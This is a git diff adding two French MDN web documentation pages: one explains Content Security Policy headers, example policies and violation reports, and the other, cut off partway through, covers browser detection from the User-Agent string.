+<div id="mouseposition-extension-element-rect-display" style='display: none; position: absolute; background: rgba(255, 255, 255, 0.7); outline: black solid 1px; font-size: 12px; cursor: default; color: rgb(0, 0, 0); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; width: 0px; height: 0px;'>
+<pre style="text-align: center; background-color: rgba(255, 255, 255, 0.7); color: rgb(0, 0, 0); min-height: 12px; transition: all 1s ease 0s;"></pre>
+</div>
+
+<pre id="mouseposition-extension-element-coordinate-display" style='position: absolute; display: none; background: rgb(255, 255, 255); font-size: 12px; line-height: 14px; border-radius: 3px; border-width: 1px; border-color: rgb(34, 34, 34) black rgb(51, 51, 51); border-style: solid; padding: 3px; color: rgb(34, 34, 34); cursor: default; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;'></pre>
+</div>
diff --git a/files/fr/web/http/csp/index.html b/files/fr/web/http/csp/index.html
new file mode 100644
index 0000000000..ca00863e9c
--- /dev/null
+++ b/files/fr/web/http/csp/index.html
@@ -0,0 +1,188 @@
+---
+title: Content Security Policy (CSP)
+slug: Web/HTTP/CSP
+tags:
+  - CSP
+  - Content Security Policy
+  - Reference
+  - Security
+translation_of: Web/HTTP/CSP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>Une <em>Content Security Policy ({{Glossary("CSP")}})</em> ou stratégie de sécurité du contenu</strong> permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (<em>Cross Site Scripting</em>) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de <em>malware</em>.</p>
+
+<p>CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à <a href="https://www.w3.org/TR/CSP2">la documentation du w3c (en anglais)</a>). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (<em>same-origin policy</em>) pour les contenus.</p>
+
+<p>Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (<em>header</em>) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent <code>X-Content-Security-Policy</code> comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter.</p>
+
+<p>Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : <code>&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"&gt;</code></p>
+
+<h2 id="Menaces">Menaces</h2>
+
+<h3 id="Réduction_des_attaques_cross_site_scripting_XSS">Réduction des attaques <em>cross site scripting</em> (XSS)</h3>
+
+<p>L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir.</p>
+
+<p>CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts <em>inline</em> (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés.</p>
+
+<p>Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script.</p>
+
+<h3 id="Empêcher_les_écoutes_du_trafic">Empêcher les écoutes du trafic</h3>
+
+<p>En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de <a href="/fr/docs/Web/HTTP/Cookies">cookies sécurisés</a> (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS).</p>
+
+<h2 id="Utiliser_CSP">Utiliser CSP</h2>
+
+<p>Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses.</p>
+
+<h3 id="Créer_votre_règle_CSP">Créer votre règle CSP</h3>
+
+<p>On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: <em>règle</em></pre>
+
+<p>La <code>règle</code> est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP.</p>
+
+<h3 id="Écrire_une_règle">Écrire une règle</h3>
+
+<p>Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript <em>inline</em>) et l'utilisation de <code>eval()</code>, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS <em>inline</em> avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises <code>style</code>, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}.</p>
+
+<h2 id="Exemples_pour_les_cas_courants">Exemples pour les cas courants</h2>
+
+<p>Cette section propose des règles CSP pour les scenarios les plus classiques.</p>
+
+<h3 id="Exemple_1">Exemple 1</h3>
+
+<p>Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self';</pre>
+
+<h3 id="Exemple_2">Exemple 2</h3>
+
+<p>Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de <code>source-sure.example.net</code> (qui peut être un autre site) :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.source-sure.example.net</pre>
+
+<h3 id="Exemple_3">Exemple 3</h3>
+
+<p>Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de <code>toto.local</code> ou <code>tata.local</code>, les scripts par <code>scripts.local</code> :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local</pre>
+
+<p>Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts.</p>
+
+<h3 id="Exemple_4">Exemple 4</h3>
+
+<p>Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src https://confidentiel.example.net</pre>
+
+<p>Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de <code>https://confidentiel.example.net</code>.</p>
+
+<h3 id="Exemple_5">Exemple 5</h3>
+
+<p>Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; child-src: *</pre>
+
+<p>On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive <code>default-src</code> qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine.</p>
+
+<h2 id="Tester_une_règle_CSP">Tester une règle CSP</h2>
+
+<p>Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme.</p>
+
+<p>Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela :</p>
+
+<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>règle</em> </pre>
+
+<p>Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place.</p>
+
+<p>La règle indiquée par <code>Content-Security-Policy</code> est appliquée tandis que celle fourni par <code>Content-Security-Policy-Report-Only</code> génère des rapports mais n'est pas appliquée.</p>
+
+<p>Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent.</p>
+
+<h2 id="Gérer_les_rapports">Gérer les rapports</h2>
+
+<p>Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre>
+
+<p>Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter.</p>
+
+<h2 id="Syntaxe_des_rapports_de_violation">Syntaxe des rapports de violation</h2>
+
+<p>Le rapport est un objet JSON qui contient :</p>
+
+<dl>
+ <dt><code>blocked-uri</code></dt>
+ <dd>L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via <code>document-uri</code>, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port.</dd>
+ <dt><code>disposition</code></dt>
+ <dd>La chaîne <code>"report"</code> si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou <code>"enforce"</code> si <code>Content-Security-Policy</code> a été utilisée.</dd>
+ <dt><code>document-uri</code></dt>
+ <dd>L'URI du document pour lequel la violation a eu lieu.</dd>
+ <dt><code>effective-directive</code></dt>
+ <dd>La directive dont le non-respect a entraîné la violation.</dd>
+ <dt><code>original-policy</code></dt>
+ <dd>La règle telle qu'indiquée dans l'en-tête HTTP <code>Content-Security-Policy</code>.</dd>
+ <dt><code>referrer</code></dt>
+ <dd>Le <em>referrer</em> du document pour lequel la violation a eu lieu.</dd>
+ <dt><code>script-sample</code></dt>
+ <dd>Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation.</dd>
+ <dt><code>status-code</code></dt>
+ <dd>Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.</dd>
+ <dt><code>violated-directive</code></dt>
+ <dd>Le nom de la directive, dans la règle, qui n'a pas été respectée.</dd>
+</dl>
+
+<h2 id="Exemple_de_rapport_de_violation_de_règle">Exemple de rapport de violation de règle</h2>
+
+<p>Si l'on considère une page <code>http://example.com/connexion.html</code>, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de <code>cdn.example.com</code>) :</p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre>
+
+<p>et qui contient le code HTML suivant :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Connectez-vous&lt;/title&gt;
+    &lt;link rel="stylesheet" href="css/style.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    ... Contenu ...
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de <code>cdn.example.com</code> et non du site lui-même (l'origine même de la page) comme <code>&lt;link rel="stylesheet" href="css/style.css"&gt;</code> l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse <code>http://example.com/_/csp-reports</code> à chaque visite de la page dont il est question :</p>
+
+<pre>{
+  "csp-report": {
+    "document-uri": "http://example.com/connexion.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}</pre>
+
+<p>Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans <code>blocked-uri</code>. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style <code>http://anothercdn.example.com/stylesheet.css</code>, le navigateur aurait indiqué seulement <code>"blocked-uri": "http://anothercdn.example.com/"</code>, c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, <a href="http://www.w3.org/TR/CSP/#security-violation-reports">disponible en anglais sur le site du W3C</a>, explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La matrice de compatibilité de cette page est générée depuis le dépôt Git https://github.com/mdn/browser-compat-data. Si vous voulez contribuer en modifiant ces données, merci de faire une <em>pull request</em> sur Github.</p>
+
+<p>{{Compat("http.headers.csp")}}</p>
+
+<p><em>Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête <code>Content-Security-Policy</code> est défini mais qu'il n'y a pas d'en-tête <code>Same-Origin</code> , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu.</em></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">L'utilisation de CSP pour les WebExtensions.</a></li>
+ <li>
+  <p><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy#Utilisation_du_CSP_dans_les_web_workers">La gestion de CSP dans les web workers</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html b/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html
new file mode 100644
index 0000000000..bd7a98de65
--- /dev/null
+++ b/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html
@@ -0,0 +1,239 @@
+---
+title: Détection du navigateur à l'aide du User-Agent
+slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent
+tags:
+  - Compatibilité
+  - Développement Web
+translation_of: Web/HTTP/Browser_detection_using_the_user_agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.</p>
+
+<p>Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.</p>
+
+<div class="note">
+<p>Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !</p>
+</div>
+
+<h2 id="A_prendre_en_compte_avant_d'identifier_le_navigateur">A prendre en compte avant d'identifier le navigateur</h2>
+
+<p>Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier <strong>pourquoi</strong> vous souhaitez le faire.</p>
+
+<dl>
+ <dt>Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?</dt>
+ <dd>Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (<a href="https://bugzilla.mozilla.org/">Mozilla</a>, <a href="https://bugs.webkit.org/">WebKit</a>, <a href="https://bugs.opera.com">Opera</a>). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.</dd>
+ <dt>Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?</dt>
+ <dd>Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.</dd>
+</dl>
+
+<dl>
+<dt>Voulez-vous servir un code HTML différent selon le navigateur utilisé ?</dt>
+ <dd>Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?</dd>
+</dl>
+
+<h2 id="Éviter_de_détecter_l'agent_utilisateur">Éviter de détecter l'agent utilisateur</h2>
+
+<p>Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.</p>
+
+<dl>
+ <dt>Détection de fonctionnalités</dt>
+ <dd>La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.</dd>
+ <dt>Amélioration progressive</dt>
+ <dd>Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.</dd>
+ <dt>Dégradation élégante</dt>
+ <dd>Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.</dd>
+</dl>
+
+<h2 id="Où_se_trouve_l'information_recherchée_dans_le_User-Agent">Où se trouve l'information recherchée dans le User-Agent</h2>
+
+<p>C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.</p>
+
+<h3 id="Nom_du_navigateur">Nom du navigateur</h3>
+
+<p>Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.</p>
+
+<p>La plupart des navigateurs notent leur nom et version suivant le format <em>NomDuNavigateur/NuméroDeVersion</em>, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.</p>
+
+<p>Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".</p>
+
+<table style="height: 585px; width: 852px;">
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col">Doit contenir</th>
+   <th scope="col">Ne doit pas contenir</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox</td>
+   <td>Firefox/xyz</td>
+   <td>Seamonkey/xyz</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Seamonkey</td>
+   <td>Seamonkey/xyz</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td>Chrome/xyz</td>
+   <td>Chromium/xyz</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Chromium</td>
+   <td>Chromium/xyz</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>Safari/xyz</td>
+   <td>Chrome/xyz ou Chromium/xyz</td>
+   <td>Safari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>
+    <p>OPR/xyz <sup>[1]</sup></p>
+
+    <p>Opera/xyz <sup>[2]</sup></p>
+   </td>
+   <td> </td>
+   <td>
+    <p><sup>[1]</sup>  Opera 15+ (moteur de rendu Blink) </p>
+
+    <p><sup>[2]</sup><span style="line-height: 1.5;"> Opera 12- (moteur de rendu Presto)</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>;MSIE xyz;</td>
+   <td> </td>
+   <td>Internet Explorer n'utilise pas le format <em>NomDuNavigateur/NuméroDeVersion</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).</p>
+
+<h3 id="Version_du_navigateur">Version du navigateur</h3>
+
+<p>La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur <em>NomDuNavigateur/NuméroDeVersion</em> dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section <em>Version/NuméroDeVersion</em>.</p>
+
+<p>Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.</p>
+
+<h3 id="Moteur_de_rendu">Moteur de rendu</h3>
+
+<p>Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.</p>
+
+<p>Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.</p>
+
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col">Doit contenir</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Gecko</td>
+   <td>Gecko/xyz</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>WebKit</td>
+   <td>AppleWebKit/xyz</td>
+   <td>Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs</td>
+  </tr>
+  <tr>
+   <td>Presto</td>
+   <td>Opera/xyz</td>
+   <td><strong>Note :</strong> Presto n'est plus utilisé par Opera pour les versions &gt;= 15 (voir "Blink")</td>
+  </tr>
+  <tr>
+   <td>Trident</td>
+   <td>Trident/xyz</td>
+   <td>Internet Explorer place cette chaîne dans la partie <em>commentaire</em> du User-Agent</td>
+  </tr>
+  <tr>
+   <td>Blink</td>
+   <td>Chrome/xyz</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Version_du_moteur_de_rendu">Version du moteur de rendu</h2>
+
+<p>La plupart des moteurs de rendu placent leur numéro de version dans la section <em>MoteurDeRendu/NuméroDeVersion</em>, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne <code>rv:</code>. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section <code>Gecko/version</code> (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").</p>
+
+<h2 id="Système_d'Exploitation">Système d'Exploitation</h2>
+
+<p>Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).</p>
+
+<p>Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.</p>
+
+<h3 id="Mobile_tablette_ou_ordinateur">Mobile, tablette ou ordinateur</h3>
+
+<p>La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.</p>
+
+<ul>
+ <li>Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur.</li>
+ <li>N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones).</li>
+</ul>
+
+<p>Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :</p>
+
+<table>
+ <caption>User Agent des navigateurs courants</caption>
+ <thead>
+  <tr>
+   <th scope="col">Navigateur</th>
+   <th scope="col">Règle</th>
+   <th scope="col">Exemple</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Mozilla (Gecko, Firefox)</td>
+   <td><a href="/en-US/docs/Gecko_user_agent_string_reference">Chaîne <strong>Mobile</strong> ou <strong>Tablet</strong></a> dans le commentaire</td>
+   <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0<span class="Object" id="OBJ_PREFIX_DWT935_com_zimbra_ymaps"><span class="Object" id="OBJ_PREFIX_DWT936_com_zimbra_ymaps"> Firefox/13.0</span></span></td>
+  </tr>
+  <tr>
+   <td>Basé sur WebKit (Android, Safari)</td>
+   <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3">Chaîne <strong>Mobile Safari</strong></a> hors du commentaire</td>
+   <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td>
+  </tr>
+  <tr>
+   <td>Basé sur Blink (Chromium, Google Chrome, Opera 15+)</td>
+   <td><a href="https://developers.google.com/chrome/mobile/docs/user-agent">Chaîne <strong>Mobile Safari</strong> token</a> hors du commentaire</td>
+   <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td>
+  </tr>
+  <tr>
+   <td>Basé sur Presto (Opera 12-)</td>
+   <td>
+    <p><a href="http://my.opera.com/community/openweb/idopera/" style="line-height: 1.5;">Chaîne <strong>Opera Mobi/xyz</strong></a><span style="line-height: 1.5;"> dans le commentaire (Opera 12-)</span></p>
+   </td>
+   <td>
+    <p><span style="line-height: 1.5;">Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>Chaîne <strong>IEMobile/xyz</strong> dans le commentaire</td>
